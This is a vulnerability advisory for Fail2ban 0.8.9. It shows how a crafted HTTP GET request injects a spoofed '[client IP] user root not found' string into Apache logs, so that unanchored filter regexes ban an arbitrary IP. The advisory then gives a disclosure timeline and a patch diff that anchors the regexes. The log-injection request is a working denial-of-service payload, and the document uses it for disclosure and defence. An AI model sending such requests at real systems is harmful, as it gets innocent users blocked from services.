Fail2ban 0.8.9, Denial of Service

Version 0.8.9 (latest) of Fail2ban, quite nice log monitoring system, allows to perform remote denial of service for arbitrary chosen IP address. The vulnerability exists in Apache rules and it is caused by improper validation of a log file by regular expression. Malicious user can easily inject his own data to analyzed logs and deceive monitoring engine.

As an example, assume the malicious user sends request like this:

GET /[client%20192.168.0.1]%20user%20root%20not%20found HTTP/1.0
Host: remote.site

How the request is visible in a log file:

[Sat Jun 01 02:17:42 2013] [error] [client 192.168.33.1] File does not exist: /srv/http/site/[client 192.168.0.1] user root not found

And it matches the pattern which refers to the whole line:

[[]client <HOST>[]] user .* not found

So, the client with IP 192.168.0.1 will be blocked.

Affected files:

  • /filter.d/apache-auth.conf
  • /filter.d/apache-nohome.conf
  • /filter.d/apache-noscript.conf
  • /filter.d/apache-overflows.conf
Time frames:
  • 01.06.2013  —  Cyril Jaquier (contact section) has been informed about the vulnerability (no response)
  • 08.06.2013  —  The vulnerability has been released to the public.

To secure existing installations the regular expressions that check the log files need to be modified.
Putting ^[[][^]]+[]] [[]error[]] in front of each of them should fix this issue. More formally:

--- filter.d/apache-auth.conf
+++ filter.d/apache-auth.conf
@@ -13,9 +13,9 @@
# (?:::f{4,6}:)?(?P<host>[\w\-.^_]+)
# Values: TEXT
#
-failregex = [[]client <HOST>[]] user .* authentication failure
- [[]client <HOST>[]] user .* not found
- [[]client <HOST>[]] user .* password mismatch
+failregex = ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] user .* authentication failure
+ ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] user .* not found
+ ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] user .* password mismatch

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
--- filter.d/apache-nohome.conf
+++ filter.d/apache-nohome.conf
@@ -13,7 +13,7 @@
# per-domain log files.
# Values: TEXT
#
-failregex = [[]client <HOST>[]] File does not exist: .*/~.*
+failregex = ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] File does not exist: .*/~.*

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
--- filter.d/apache-noscript.conf
+++ filter.d/apache-noscript.conf
@@ -13,8 +13,8 @@
# (?:::f{4,6}:)?(?P<host>[\w\-.^_]+)
# Values: TEXT
#
-failregex = [[]client <HOST>[]] (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)
- [[]client <HOST>[]] script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat *$
+failregex = ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)
+ ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat *$

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
--- filter.d/apache-overflows.conf
+++ filter.d/apache-overflows.conf
@@ -10,7 +10,7 @@
# Notes.: Regexp to catch Apache overflow attempts.
# Values: TEXT
#
-failregex = [[]client <HOST>[]] (Invalid (method|URI) in request|request failed: URI too long|erroneous characters after protocol string)
+failregex = ^[[][^]]+[]] [[]error[]] [[]client <HOST>[]] (Invalid (method|URI) in request|request failed: URI too long|erroneous characters after protocol string)

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.